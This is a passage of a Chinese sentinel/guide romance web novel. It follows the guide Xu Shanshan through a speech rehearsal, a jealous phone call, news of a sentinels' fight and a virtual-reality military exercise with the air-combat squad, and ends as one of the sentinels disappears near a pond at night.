她讲完第一遍后,只见鼓掌,夏广礼满脸都是:你太棒啦,简直是奇才降世,伟大领袖,拍马屁也太明显了。 她要他给点建议,又是铺垫了好一顿,仅从细节的语气、节奏、眼神等方面补充,文本不做修改。 “自信一点,不要老是低头,眼神笃定,语速慢下来。” 她又尝试了好几遍,有意识地改正了很多小毛病,说得她喉咙干涩,接过男人递来的水,将他的意见记下,自己心里也有了数。 往后几次,她的目光也不再躲避,不时与他发生对视,终于能流畅、平稳地将演讲稿对完。 完成了一次满意的尝试,她松了口气,从椅子上下来,瘫倒在沙发上,光是想象那个场景,已经让心砰砰跳。 她看了看时间,六点过,现在还早,事完成了,就打发人离开。 徐珊珊:“我要洗个澡,晚上八点再见?” 见要赶他走,夏广礼有些不乐意,揽住她的腰,好不容易推开,再挣脱手,又像牛皮糖一样缠上来,她也只好顺着坐下,男人并拢双腿,她就坐在上面。 靠在胸前,她抬起男人的手,“给我看看。”他掌心的伤,好像许多哨兵都有,两人又坐了一会儿,她又想打发他离开时,发现他已经睡着了。 果然,其实她的精神体是蒙汗药吧。 听说这段时间,为了应对演习,他们都加班加点的训练,没有十二点之前睡觉的,六点准时起,也不想打扰他休息。 她的背包里还有换洗衣服,虽然衣柜里也有新买的,但还是习惯穿自己的衣服,走进沐浴间,将门合拢,打开浴霸。 淅淅沥沥的热水淋下,让黑色湿发都贴在后背,各种洗浴用品一应俱全,都是无香型,不用赶时间,她多洗了一会儿,换好衣服,吹干头发,往外走。 他还在睡,她起了坏心思,就去戳男人的眼睫毛,他只是眼皮颤动,然后扭头歪到另一边。 坏心眼的人终于被惩罚,他不知道突然抽了什么风,闭着眼睛往这边扑来,然后就被扑倒了,头恰好靠在扶手边。 “喂,”她戳了戳脸,“醒醒。” 真睡着了,这么困?她有些好笑,自己是搬起石头砸自己脚,但推也推不动,死沉的,见对方不 乱动,她也平躺着发呆。 但太重了,她感到胸腔被压迫,呼吸变得困难,不禁推了推他,“夏广礼,醒醒。” 楼梯口传来“咚咚”声,她也没在意。 小伙子睡眠质量就是好,她直接拍脸,“醒醒,我要被你压死了。” 没想到危险来源于内部啊,她犹豫着要不要下狠手,见男人有了反应,她又加了几分力气,大声喊:“夏广礼!” 房门和男人一块醒了,他睁开眼睛,懵懂地撑着边沿,爬起上身,揉了揉眼睛,而她也听见了门锁响声,大喊:“我没事!” 她是了解他们的,要是她先尖叫后安静,这些人铁定要破门而入的,她还不想失去房门。 她在光脑上解开门锁,开门,于是门外的众人涌进来,首当其冲的是两位队长,看见两人都有些衣衫不整,房间内有湿热的水汽,胸前有一片红印,一副刚分开的样子。 要不是气味干净,几乎就要误会了。 徐珊珊有些意外,“我刚刚声音很大吗?怎么都来了。” 达伦摇头:“不大。”只是挡不住有人扒着房门细听。 第46章 徐珊珊:“我没事,大家别担心。” 人群散开后,夏广礼疑惑地问她:“怎么了?”她解释经过,男人道歉:“抱歉,我睡得太熟了,下次可以把我喊醒。” “下次我可不会手下留情。” 假期补觉正常,但她的房间就不留他休息了,起身,背上挎包,站在门边,男人跟着起身,“你要去哪儿?” “看电影。” 她怀疑他真的睡懵了,男人去卫生间洗了一把脸,跟在她身后,“想看什么?” “不要你和我去。” 男人错愕,水沾湿眉毛,他摸不着头脑,不是说好了一起吗?怎么突然改变主意? 刚才两人靠太近,手脚酥麻,又不是在疏导,她想独处,决定抛下这个观影搭子。 “我想一个人待着。” 她拧开房门,楼梯旁还杵着一个人,她想,等卡尔好了,就住楼梯口,替她看门。 经由电梯,她来到负一楼,来回找了两圈,才找到隐藏在角落的私人电影院。 环境凉爽,她步入其中,伸手不见五指,夏广礼找到配电室,推开电闸,灯光骤亮,三排沙发椅高低错落。 她在挑选影片,外面一阵砰砰响,好似爆竹声。 资源加载中,她坐好,夏广礼走进来,抱着爆米花、可乐,关拢门,挨着她坐下,将零食桶递给她。 随着影片播映,灯光自动熄灭,视线聚焦于大荧幕。 这是一部公路片,讲述一支运送物资的车队,在污染区历经波折,最后将重要物资送达居民点的故事。 这片子有年头了,拍的是灾变刚发生时,许多居民被迫滞留家中,这场全球性灾难,让秩序毁于一旦。 重建是漫长的工作,前人做了无数努力。 演到剧中煽情处,必要的牺牲,夏广礼见她哭了,伸手想握她的手,响铃声逐渐扩大,她从下方抽出手,寻找光脑。 最后发现戴在手腕上,铃声盖过对白,屏幕发光,她低声道歉:“不好意思,我出去一下。” 她弯腰,往门口走去,在荧幕上留下黑影,挎包里有个绿灯扑闪,电子设备启动中。 夏广礼按下暂停键。 天已经彻底黑了,她走到天井下,在桌旁坐下,仰望繁星,接通电话:“喂。” “晚上好……你之前给我打电话,有什么事吗?” 是阿瑞斯,声音洪亮,中气十足。 他终于回电话了,应该是这几天都没碰光脑,既然他人没事,她想尽快回去:“没事,我挂了。” “诶、诶,等一下——” 和他的预期有点差别,阿瑞斯连忙出声挽留,不舍得挂断,好像听到她的声音,就能让人欢喜。 他刚出来,看到光脑时,一连串的通讯,既惊又喜还忧。 焦虑她的兴师问罪,高兴在她主动关心,担心万一她有事求助,却拨不通他电话。 他急忙回拨,好消息是,她没事,坏消息是,也没他的事。 阿瑞斯:“你不想知道最近我在哪吗?” 她脱口而出:“不关我的事。” 朋友间也该留出私人空间,不能多管闲事,干涉隐私,特别是异性之间。 不关她的事。阿瑞斯在脑中咀嚼这句话,她不在意,紧接着,听筒中传来人声,两个男人对话。 徐珊珊:“我现在有点忙,不好意思啊,先挂了。” 阿瑞斯赶在电话挂断前开口:“明天,你可以来看我吗?” 徐珊珊:“不行,我有别的安排。” “那我去找你?” “不行。”她来这儿是客,又不是真的自己家,不能随意邀客。 男人沉默了一瞬,似乎有点委屈,柔声细语:“可是我想你。” “……” 她一转身,看见夏队和宋晓宇两个人站在大厅内聊天,不知道声音会不会外漏,她本想说:那你就想吧。 似乎感同身受般,自己当初,太依赖前男友,可能也给他造成了类似的烦恼。 迷恋、神化、赋魅,无法自控,将幸福寄托于一段关系。她感到同情、惋惜。 “小狮子也想你了。” 她叹了一口气,松口,“我想想看。” 她明天要去蛇队,王蟒好得差不多了,因为他要参加演习,所以再做一次疏导。 非要抽空,也不是不行,就是行程上有点赶。 等久了的两个男人往这边来,夏广礼先声开口:“谁啊,大半夜打电话来。” 她比了个嘘声的手势,他还是听到了,阿瑞斯憋着一股气,知道她周末要去别人那儿住,但始终没轮到他。 这个人的声音,还和上次的不一样。 他将牙咬得咯咯响,心一沉,妒火冲天。 被人一打扰,她的思绪乱了,只想着应付了事,敷衍了几句,最后还是借口忙,等有空了再聊,不待他挽留,匆匆挂断电话。 “嘟、嘟、嘟——” 哨兵宿舍,一局游戏结束,得空抬头的佛尔克,捏着嗓子调侃:“小~狮~子~也~很~想~你~” 他嘿嘿笑了一下,却发现没人应和,一阵死寂,邵江队长不赞同地咳了两声,不对劲。 他谨慎地摘下耳机,将平板放进枕头,当做无事发生。队长之前还欢天喜地、喜笑颜开的,怎么突然,精神气全被抽掉了。 佛尔克:“队长你还好吧。” “没事。”男人挥门而去。 他这样不像没事,佛尔克看向副队,以为他是做了什么惹人厌了,可以一块商量。 副队只是摇头,让他们别插手,阿瑞斯只是需要一点时间,去接受现实。 他只是看上去,好似很大方,说着什么:“我可以做小三。”其实心里面在意得不得了。 以色诱人是他最不该走的一条路,但他走了,这倒算了,问题在于这条路行不通。别人不好色怎么办? 其实阿瑞斯对这方面很敏感,从两人刚认识时就是这样了。 连带着父亲一起被抛弃的过往。 医院。 金发卷发凹在枕间,头顶冒出一片指甲大的绿叶,男人躺在病床上,睁开眼睛,他的手被固定,注射液沿着针头,一点一滴汇入手臂静脉。 她应该是不小心摁下了通讯器,他无需操作,自动接听,扩大收音,因而听到了全程。 这本是为了保障她的安全,有任何意外,他能第一时间得知,及时赶到。 作为经常陪在她身边的人,他大概能分清说话的人都是谁,通话对象、旁边的两人,都是熟人。 整个过程他一直保持静默,听她和别人聊天。 直到她发现了开启的通讯器,试探性地打招呼,没得到回应,只道自己不小心,夏队安慰她,断开连接。 医院病房十点熄灯,他闭上了眼,像这样的人是不会少的。 接连发生两件意外,徐珊珊的难过劲头也散了,处理好后,坐回座位,将最后一个钟的影片看完。 影片终局,人员散场,因为她一直坐着没动,眼朝荧幕,却没有聚焦,灯光亮起,她还是直视前方。 徐珊珊:“你知道卡尔为什么住院吗?” 话刚说出口, 她就后悔了,也许是她想多了,况且,夏广礼怎么会知道呢? 没想到男人传来笃定的回答:“如果没出任务,精神状态也比较稳定的话,一般是因为暴力。” “你说的是一直跟在你身边的那个?” 她点头答是,寻思自己派卡尔去摘草莓,应该不算什么高难度任务,会导致他重病。他被派给自己做下属,也不会突然安排别的事。 精神状态,天天跟在她身边吸向导素,怎么说也差不到哪里去。至于暴力,卡尔性格和善,不是那种会主动攻击别人的人,她还没听过他骂人一句。 如果他和别人起冲突,她一定会觉得是别人先挑事。 夏广礼:“他既然做了你的警卫员,就不该再去和别人打架了。” 比起结果,她更关注原因,为什么? “他是被猫科联队的队长,阿瑞斯打伤的,至于攻击者,也因为违反条例被抓了关禁闭。” 是另一个声音,她惊讶地扭头看去,是宋晓宇,他不知何时坐在那儿的,不敢置信地确认:“你确定吗?” “对。” 宋晓宇边说边起身,绕过过道,来到前排座椅,坐在女人的另一侧。 他将现场情况讲明,这不算什么秘密,也称不上什么新闻,哨兵斗殴是常有的事,也没人会在意。 被偏爱的人承担更多的嫉恨,只愿得一人心,那那个人最好命足够硬。 在众多情况中,所有或者一无所有是最不能被接受的, 见她困惑,真情实意地不解:“为什么?” 宋晓宇性子也直,直接说道:“我猜是因为您。” “因为我,怎么可能?” 她想不清楚自己有什么魅力,这让宋晓宇哑口无言,不禁想问:你是认真的吗?联想到她的来历,只得感慨这就是命。 徐珊珊低下头,没法理清其中的逻辑,不敢相信地看向夏广礼,她更信他多些,“你也是这样想吗?” 男人没有视线躲闪,他只是不想挑明,让她徒增烦恼。 夏广礼:“他们之间唯一的联系就是你。” 是她导致两人打架? 她感到委屈,夏广礼看出来,接着安抚:“这不是你的错,哨兵的劣根性,无视即可。” 但事情不是无视就能解决的,她不想任何人因她而受伤,特别是这种,没有正向意义的。 “我应该怎么做?” “我能怎么做?”她喃喃自语道,又像是希望他们给出一个答案。 夏广礼:“等演习结束就好了,他们会被分派任务,出塔,到时候就见不到面了。” “或者你们一起住我们这儿。” 图穷匕见,夏广礼瞥了一眼,他说这小子怎么这么好心,帮人“伸张正义”,但他也没反驳。 至于向导小姐,她既没同意,也没拒绝,若有所思地回到房间睡下。 第47章 练洛一抵达时是周一,中央广场上空,巨大屏幕中,播放着最新的军演消息,阳光洒在古铜色皮肤,脸颊肉紧贴骨头。 他们有了暂居证,需要在六周后的考核,确定是否能进入工作。 听闻路上行人说,大部分人员都会参加,他们停驻在路边,想一睹风采,听说克拉拉和那位好心的向导也会参加。 他们试图在画面中,寻找熟悉的面容。 徐珊珊在台上致辞结束,作为向导的代表,坐在展台一侧,等着总指挥宣布演习开始。 不知不觉间,肘窝被轻点,她转头看去,长官示意她下去,一会儿介绍参演队伍时,需要对各指挥官和随行向导进行介绍。 她弓着腰,从铺着红布的桌子退下,走到幕后,兴奋劲还没下来,刚才往下看,数千人,心仍砰砰跳,紧张地问:“我表现得怎么样,有没有说错字?” 山昊:“你做得很好。”他指向左侧的甬道,“他们在下面等你,去吧。” 直到轩昂的鼓乐奏起,她才意识到,演习真的开始了,自己正身处恢弘的大场面,但因为事先排练过,对镜头脱敏了。 “那我走了。” 她告别长官,沿着台阶,往下方走去,果然在尽头见到夏广礼等人。 她激动地一路小跑过去,仰着头,给了他一个大大的熊抱,手放在背部,面料粗硬,一行人往外去。 在单位介绍时,众人列队出场,向导们坐在车里,每当介绍到她们时,便挥手问好,应时响起掌声。 人声像浪潮一般,此起彼伏。 从服饰上,很好区分二者的区别,她还没想过,有这么多哨兵。 又经过揭幕、点火、集体宣誓等仪式,开幕式宣告落幕。 车辆载着她抵达目的地,一座阔大的大楼,抵达对应楼层,里面放置着数座虚拟设备,巨大的玻璃竖管整齐摆列。 众人穿戴好传感装置,耳边又传来细碎叮嘱,她先踏入设施中,闭上了眼睛。 黑暗,突然出现的倒计时,她知道自己应该抽离了,随着倒计时结束,色彩重现。 这是一片贫瘠高原,只有裸露岩石、碎石,陡峭崖壁的缝间长出杂草。 没过一会儿,其他人也登录进来。一队和二队是两支独立的队伍,被投到不同地区,目前还没联系上。 空战组的计划是,由二队辅佐,她从起始就与一队一块,一直到最后夺冠。 安全范围很大,各队伍在最初不会相遇,危险更多来自野外污染物。一进来,他们立刻改变了状态,分配了队员不间断巡逻。 她体验过鹰眼,高清视野、动态追踪、全方位无死角、远距离识别、抗炫光……只能说羡慕。 他们探索了一中午,但缩圈消息得来,很遗憾,他们不再圈内。得在特定时间赶到安全区,那时,这片区域的污染程度会上升,污染物数量也会迅速增长。 但夏广礼他们还是漫步闲庭地,搭着帐篷哼着歌,达伦队长在警示周围,她似乎闲了下来。 事情远没有那么顺利,女人坐在岩石表面,篝火旁,火焰倒映在她的脸上,不远处就是越野车,彩装速干衣贴合身体。 夏广礼将口粮搬出,砖头一般大的塑料包装食物块,口味不一,撕开包装袋,里面有各种小袋食物,和一个自热包。 夏广礼:“你想吃什么?有鱼肉、牛肉、压缩饼干、面包、土豆泥、炖排骨、火腿炒面、炒鸡蛋、巧克力棒、可可粉、咖啡……” 单兵口粮的口味有二十多种餐谱,如果她不喜欢,后备箱里还有罐头, 一个火架被置于篝火上,自热小火锅开始发热,他们还有闲心煮小火锅吃,生火的热源会暴露队伍所在位置。 还真是艺高人胆大。 夏广礼安排晚餐,首先要考虑到向导的感受,山上风大,夜里很冷,一会儿太阳要落山了。 黑夜更加危险,大多人的夜视能力都普通,也有能在夜中视物的队员,他的精神体是猫头鹰。 现在主要面临污染物的威胁,光源、取暖都是有必要的。 男人从锅中捞出面条,盛进碗里,接着是肉饼,估摸着不烫了,再交给她。 地面的石子在滚动,她还没接,就听见高空金雕传来的厉声警告,这个声音,是有污染物。 “没 事,他们会处理的,吃吧。” 她没看到污染物,只见几只鸟垂直起飞,往山坡的另一边去。这时,不需要她帮忙,队里人这么多,她明白,她的任务不在此时。 徐珊珊接过塑料饭盒,举起叉勺,开吃起来。 水沸腾发出咕噜咕噜的冒泡声,夹杂着远处不明生物发出的咆哮,她吃的时候,被吼得手抖,抬头望去,想象那处的场景。 夏广礼没有离开,还有两名哨兵站着,负责警戒,陪着她进食,不时讲两句玩笑话。 “你们不吃吗?” 两人谢绝了她的好意,夏广礼四处环视,笑道:“不用紧张,坐下来,一起吃。”他们才坐下来,先前应该是拘谨。 她和一队熟悉程度比不上二队。 她吃饱了,分量太大,不可能吃完,剩下的夏广礼拿过去,接着吃。 她站起来,在高处看,远处的剪影,看不清晰,它们的动作迅敏,先前远处偷袭,已命中要害,现在不过是负隅顽抗。 但那巨物庞大,身上处处碎裂,落下来的东西,砸到地上,比树干都粗。 猛禽是空中刺客,靠高速俯冲,一击毙命,否则,就得来回放血,它们最常用的是弯钩状利爪。 “嗬嗬——” 她紧张地发现,一只鸟在空中落旋,翻滚着摔到地上,心提了起来,在那找寻它的身影,才发现它没被砸中,又飞了起来。 一直到队员战归,聚在一块,达伦扫视了方圆几公里,没有其他威胁,才轮换排班,来到篝火边。 徐珊珊坐到车里,给他们腾出位置,翻出地图,那上面已经有了一个圆圈标记,正是他们所在之处,位于西北的荒原,离这里最近的补给点,在五十公里外。 她注意到,这些参战人的态度冷淡好些,明明早晨还笑着,回来时就面无表情了,也不愿互动,偏坐一旁,默默啃食。 污染对哨兵的影响相当明显。 屏幕外,许多人时刻关注着每支队伍的行迹,空战组的队伍,作为老牌强队,当然备受关注。 甚至半天不到,已经有人重伤出局了,他们从全息仓中醒来,被紧急送往医院。 夜里确实很冷,她又翻了一件冲锋衣套在身上,凉风吹在身上,叫人走不动路。 她见一个状态不好的哨兵起身,也跟了过去,他显然有些怔住了,走到一块大石头后面,直到女人发声才发现她在后面,放下两手。 徐珊珊:“你想去哪?”教导员教的是,让她们多关注,比较沉默寡言或者暴戾冲动的哨兵,以免他突然变成怪物。 “我……上厕所。” “奥,好的。”她点头,往回走,“待会和我坐一会儿好吗?” “好,好。” 见没事,她转身往回走,靠在门边的夏广礼见她回来,停下脚步,打开车门,翻找毯子、枕头。 夏广礼将后排座椅放倒,“这里光脑没信号,这是无线电通讯器,晚上你睡车上。” “你们呢?” 夏广礼:“我们睡帐篷里。” 见她吸鼻子,他又从后备箱里掏出其他保暖物品。徐珊珊踩在踏板上车,男人倚靠在车门边,“晚上要我陪你睡吗?” 她瞪大了眼睛,他在说什么虎狼之词? 徐珊珊:“有这个必要吗?” “晚上很冷的,这里海拔高。” 她十动然拒,“我知道你们很暖和,但我真的不冷,”话刚说完,就打了个喷嚏,拆台是吧。 夏广礼:“应该只有七度左右。” 此时,那个哨兵回来,问到向导位置,搭在窗边问候:“请问您找我有什么事?” 她拍了拍椅面,开口道:“上来。” 上去,他吗? 他看向挡在入口的副队,问了声好,拨开他上车,坐到向导身边,忐忑地打招呼:“您有事吩咐?” 夏广礼看了两人一眼,“肖寒陪你也行。”算是默许。 她白了一眼,但见他手指扣紧,怕小兄弟误会,“不要乱说话,我是想和他聊会天。” 她摁下门框上的按钮,车门合拢,制造出两人的私人空间。 “你是不是不太舒服?” 他犹豫了一下,承认了,以前队内没有向导,所以也没想过要请人帮忙,不过不是很严重,忍忍就可以了。 “把你的精神体放出来。” 他听见向导小姐这样说,她愿意是最重要的事,哨兵是不能强迫向导做疏导的,但即使什么都不做,只是待在身边,被动释放的向导素,像缓释剂。 “要是难受的话,你可以靠在我身上。” 她把小蘑菇放出来,见男人的手背绷紧,汗珠渗出来,轻声喘息,一道白光似乎在面前飘现,这是什么? 她伸出手去碰,摸不到,是无形的,连接在两人之间,是精神力吗? 她在现实世界中看不见,在这里却能看见吗? 因为它太奇妙了,她看得久了些,没停下手,一直到男人再三求饶,才收回精神体。 见他满脸红潮,她有些不好意思,做过头了,“你现在觉得怎么样?” “很好,”像从水里浸出来般,他的手指扣向掌心,保持着理智道谢,门一打开,就狼狈地逃跑。 跑得这么快? 她躺在床上,忽然感觉到冷,用毛毯裹住全身,穿上御寒衣物,热量还是源源不断地散失,瑟缩发抖。 恰逢车窗被敲响,她摇下车窗,看见夏广礼的脸,打开门,让他进来。 他是来自荐枕席的。 “可以让它睡中间。”男人手上的是一只游隼,灰背头,白花裤,枯木纹理,眼睛溜圆,歪着脑袋看她,乖巧极了。 “也不是不行。” 大概就是同床共枕了吧。 夜越深,外面执勤的人轮换,游隼不知何时被推到一旁,因为冷,她下意识贴上去,两人肢体接触。 夏广礼晚上醒来,又掖好被角,才闭上眼睛。 第48章 第二日,微光照进玻璃窗,透过挡光帘,在脸上留下碎花,女人睁开了眼,将脸从胳膊旁挪开,身旁已没有温度,他早就起床了。 徐珊珊伸了个懒腰,坐起来,才发现并不是没人,还有一只小游隼趴在枕头旁陪着她,伸手挠了挠它的耳朵,舒服地眯上眼睛。 她下床后,它也跟飞到肩上,摇下车窗。 天蒙蒙亮,山巅和山腰被光影截断,呈现明暗两色。 车外架子上,一盆冒着热气的水,澄明如镜,一下车,夏广礼递来一张小方巾,弯着嘴角。 徐珊珊:“你笑什么?” 她对着竖镜,才发现自己脸上多出一条红痕,应该是睡觉时,姿势改变,枕在脸上落下的,过会儿就好了。 她将手放在肩上,握住雄隼的翅膀,将它翻过来包住,递还回去:“你的鸟。” 夏广礼将它收回,女人俯身,将面巾放进盆中,打湿后擦脸,头发凌乱,后方打结,他从包中找出梳子,趁着这个功夫给她梳头。 “你轻点啊,别硬扯。” 她的担忧是多虑的,他知道怎么做,放松下来,三缕侧边发被抬起,发片被拧成团,然后是夹子插入发根。 他为什么要动夹子? 这个问题最终得到答案,化妆镜与面盆前的镜面形成反射,她看清了脑后的情形。 她有些惊讶,太正式了,这发型换身衣服都能上台了,他们不是在污染区,处于危险当中吗? 夏广礼:“怎么样,你喜欢吗?” 喜欢倒是……她还不知道他多久学会了这门手艺,两人走到昨夜的篝火边,现在只剩下一堆灰,取得早餐口粮。 也有好几样,先让她挑选后,男人才吃。 达伦队长也靠近坐下,两人看向她:“接下来你有什么打算?” 她有什么打算? 夏广礼接着解释,距离缩圈还剩一段时间,他们不急着跑图,队内商量好了。 这附近,曾经是著名的旅游区,自然风景恢弘壮阔,也许她会感兴趣。 “我们不应该去五十公里外的补给点吗?” 达伦:“你考虑得很充足,昨晚清点了一下物资,储备足够。” 好嘛,真郊游来了。她想了想,怪不得长官听她要和空战组一块参加,很快同意,这些“空少”们很悠闲呐。 会飞了不起吗? 事实上,会飞就是很了不起。 沙漠里,一列车队停下,引擎熄灭,车胎又陷进了沙里,领头的人一摔车门,下车处理。 一阵笑声从远处传来,群鸟出现在云层边缘,掠过的速度很快,趁着天气不热,他们得抓紧赶路。 昨天下午,水箱沸腾,不得不找个硬地停车,让它冷却,控制水温。 饶是如此,已是闷热得难受,但不远处就有一处季节性湖泊,他们得去那儿修整,然后赶路。 天知道为什么把他们刷新到沙海中央,距离安全圈十万八千里远。 “这还有鸟。” “哪有那么大的鸟,”他被旁人笑道,手中被塞入望远镜,“你看看是谁吧。” “鸟队的那群人。” 鸟队肯定发现他们了,只是不在意,才大大咧咧地飞过,毫不畏惧他们突然攻击。 既然对方不把他们放在眼里,那他们就趁机偷偷溜走。 不然对上了,骚扰、偷袭烦不胜烦,拥有制空权就掌握主动权。 被他们盯上了,走路最好抬头看天。 这车还得珍惜用,不然就得去找别的交通工具,找不到,就只能急行军了。 路远,要是突发意外,在赶途过程中被踢出局,那也太丢脸了。 车后盖被轻拍合上,众人往前推,车子缓缓开动,队长指示众人返回车上。 那人从望远镜中看清了,斥骂了一句,本来就浑身干热,现在更像是脱水了般,拍动椅背:“队长,快点吧。” 谁想的,给鱼发配到沙漠? 水草丰美的草原,漆上白装的雪山,干旱荒凉的戈壁滩,连绵起伏的沙漠,完全根据现实影像构建。 整整一天,仿佛在度假,中午在阴凉处休息,晚上又回到驻扎地。 但另一支小分队还没回来,他们去探路了,一直到很晚,才赶回来,狼狈不堪,还少了一个人。 清创、消毒、包扎,有个别哨兵的伤势比较重,口中被塞入毛巾,还没到用止痛针的时候,颤抖着,睁着眼,看男人拔出自己腿中的碎片。 他被抬到床板上休息,一人开始讲述事情经过。 他们踏入了食肉植物的陷阱,引来了污染物。其余人一听便明白,拍了拍肩膀,让他们好好先去休息,只有她还蒙在雾里,恰巧肖寒也在队列里,几乎没受伤。 她跟了他一路,男人发现,顿住脚步,转身回看:“向导小姐。” “你好,辛苦了。” 男人腼腆地笑了笑,“感谢您的疏导,”让他在突发灾难中,反应更快,动作迅敏。 她说明来意,男人向她解释:有许多食肉植物,它们能引诱、捕食、消化、吸收动物的营养,以供自身生长,主要方式是构造陷阱。 这支队伍的哨兵常来对污染物进行群体引诱,然后集中消灭,在某个地点,设置自动触发装置。 无论是污染物还是人,进入陷阱后,就极难逃脱,就可以采取各种方式消灭。 但那群人并没有埋伏其中,只是故意留下陷阱,他们触发机关被困,遭大批污染物围攻。 总之,对方就是把补给点的物资带走,顺手就把坏事给做了。 阴得没边了,不针对任何人,随手带走一个倒霉蛋。 肖寒:“不过我们已经摸到他们的行踪。” 徐珊珊:“要报复他们?” 男人点头,那支队伍如果隐藏起来,极难对付,满是陷阱。 但本身攻击力不强,如果趁其不备,一举消灭整支队伍,可除后患。 她听明白了,问他是否有什么需要,肖寒列了几个人名,请她去看看,他们在过程中受了伤。 男人始终低着头,抬眼看她,末了,补上一句:“如果您有余力的话。” 两人分开,她转身看到宋晓宇,他露出轻松的笑容,“风景怎么样?” 徐珊珊:“很好,这附近很漂亮,就是没看见什么活物。” 她看见许多人在收拾东西,问道:“明天我们要出发了吗?” 宋晓宇摇头:“你不去,我们明早出发。” 她的嘴微张,怎么这么突然,“你们要……” 得到肯定答复,女人滚了滚喉咙,她没想到,这群人很记仇,而且有仇立马就要报。 毕竟这是对抗性比赛,他们是敌人,那位重伤退场的哨兵,已经算入对方的积分。 本来一队打算前期休战,游山玩水,不加入斗争。但既然有人挑起冲突,也不畏战。 两人聊完,她走向病员所在帐篷,不明白这有什么用,但仍然做了。 伤及大腿的哨兵,本闭着眼,忽然闻到甘甜、安心的气息,眼皮垂动,头蹭着枕头,一点点挪转。 一双温暖的手搭在额头,从上至下,覆上眼睛,生不起反抗的心,任凭着她闭合自己双眼,细腻的拇指在颊边滑动,网纱布比肌肤更粗糙,汗珠淌到领口,他才知道自己疼得冒汗。 疼痛像一缕烟,飘向远方,眼前一切如虚影飘忽,现实与梦境交织。 不久,只剩平稳、规律的呼吸,他们都睡着了。 徐珊珊也回到车上,靠在门边,夏广礼见她不睡,退出讨论,走过来。 他问她,是否是困了、饿了、闷了? 她摇头,只是担心他们,但话在口中,却说不出口,到最后,只问:“你们多久回来?” 夏广礼:“午饭前,路上会和。” 侦察兵今夜已去,夜行性鸟在黑夜里行动自如,能低空静音飞行。他们得了清晰定位,就会立即出发。 “你先睡吧,冷的话,我让人来陪你?” “不,不用了。” 他们没有倾巢出动,是看顾辎重和她的安全。只是,以少胜多,不知道胜算几何?只见他信心满满。 车门合上,顶灯昏黄。 她躺在后排座椅上,思绪很乱,睁着眼睛,天窗打开,空气流通,看群星跳跃。 后半夜,他们走了。 有什么东西跳上车顶,扒在顶棚,探头往里看,扑腾一下飞进来,落在枕边。 她轻吸一口气,打开灯,发现是一只红尾鵟,某知名配音演员,见她不排斥,不一会儿,车内就塞满了大大小小的鸟类。 “谢谢。” 她关上天窗,躺在枕头上,于是它们都凑近来,站着,从下往上看,孩子们好多是眉压眼,眼神犀利,一张口就是嘤嘤嘤。 大概就是一个翻身,滚到她怀里,两条毛裤腿朝天,利爪收拢,拿头蹭她吧,猛禽撒娇,这谁忍得住,她上去就嘬了两口。 不患寡而患不均,她一这样做,其他鸟也骚动起来,乞食般扑动翅膀,但她有个办法治它们。 “啪——” 灯光熄灭,在全黑的环境里,它们立刻安静下来,有的坐着睡,有的趴着睡,有的是站着,将头埋在羽毛里。 车内暖和起来,她也迷迷糊糊睡着,被窝毛毯里,不时地鼓起一个包,又一个小团子钻进来,不知不觉间,已成起伏的山峦。 第49章 次日清晨,车上的广播开始循环播报,缩圈开始了,他们用过早餐后出发。 达伦队长对地形非常熟悉,从这片坡驶出,驰向国道,它经年已久,皲裂破开,涂漆脱落,广告牌坠地,随着风起抖动发声。 他们行至中途,在一栋矮砖房旁停下,瓦楞盖灰,阳光雨露直撒屋内,他们暂做休息。 她坐在皮椅上,啃着鸡肉卷,却见达伦队长突然站起来,身边的人上前报告,车辆正确,还不能放下戒心,往前去。 直到它越来越近了,那熟悉的闪光灯,面容从玻璃后浮现,车窗摇下,群鸟飞出,才确定是他们回来了。 收缴的武器被摞在后备箱,物资、衣物,全部拨下来带走。队员状态良好,不像刚经历了一场恶仗的样子。 这就完事了?好像有点太顺利了。 难道不应该有什么追逐战,比如你逃我追,对方一下子就溃败了吗? 夏广礼笑容玩味,“昨晚睡得怎么样?” “还行。”见他盯着自己吞口水,徐珊珊想了想,加速把它吃完了,给他指了一条明路,“里面应该还有几包,你自己去找吧。” “傻瓜。”他可不是想跟她争抢食物。 一只手括在头顶,揉搓头发,她歪脖子,没躲过去,但他没放肆太久,从身后取出一个罐子,拉开 拉环,里面是柠黄色液体。 夏广礼:“缴来的果汁。” “你不喝?” 他摇头说:“给你改善伙食。” 她没意见,饭后,照常搭帐篷休息,躲避烈日,篷布在风吹是摇晃,他们指着地形图,开始讨论,最终定下行动路线。 也许是地理位置的原因,周围的破坏痕迹比前处驻地更明显,说明这里污染物活动更频繁。 下午驾车,很多人在车上睡着了,也许是因为黎明的进攻消耗了太多的体力。 她是怎么发现的呢? 低头看向躺在大腿上的夏广礼,尽管路途颠簸,起伏时,头悬在空中又荡下来,还是没醒。 她曾听说,紧急情况,他们可以坚持一周不休息,而仍然保持大脑清醒,但是,怎么身边的这几位,看起来远不是那么回事。 左边躺着一位,右边肩膀也靠着一位。 大概她身边就是很好睡吧。只是这位哨兵的脸越贴越近,不拿头侧靠着肩膀,反而鼻梁挺向脖间,一呼一吸间,凉风拂背,一片酥痒。 达伦坐在副驾驶,透过隔板往回看,问她是否要换个位置,得到否定答案后,回头往前,只是不时见到她的手指搭在脸颊,用掌心挡住光线,太体贴,但对象不是他。 路很远,像坐一趟长途汽车,她也逐渐乏了,窗外景象大同小异,驾驶员不停轮换,每到中途休息,下车时,就感到屁股酸。 车停在路边,解决今晚的休息问题。 不远处有一片绿水潭,边上铺满圆润的鹅卵石,她站在远处看,没有走近,只见一片白色倒影,像少女的裙摆,等她再抬头看,却只是天空的云。 平静的生活在夜晚发生变故。 起因是她临时想上厕所,于是肖寒陪着她去,天已经黑了,她抬着手电筒,只是将灯口照在地上,只照亮几厘米。 等她再起来时,人已经不见了,她还以为他站在更远的地方,不想冒犯她,又打着手电,往回走了几步,光柱四扫,不见人影。 不是吧,就这么把她丢在这儿? 她有种隐隐的不安,步伐越来越快,来到马路边,见她上接不接下气,哨兵们看过来,夏广礼问:“怎么了?” 他四处瞟了一眼,没见肖寒的身影,皱起眉头,向导指向程柳林深处,语气惶恐:“他不见了——” 男人的表情变得凝重,肖寒应该是遇上了危险,夜已深,他立即告知众人,各人手持强灯,几人成组,往林子里探去。 黑夜虫叫,笔直的光线照不尽黑暗,但声音也渐小,那光点越来越远,那方向好像是水边。 等了一会儿,还没回来,就像人间蒸发般。他们在做什么?就算找不到,人也该回来了。 夏广礼又与达伦商议了一下,要看看究竟是什么东西在捣鬼,随身携带信号枪,一部分人留在外面。 猫头鹰从高空俯瞰,发现了那群人的身影,他们在往河边走,准确地来说,是跑,肖寒,义无反顾地往中心游去。 大半夜集体下河洗澡? 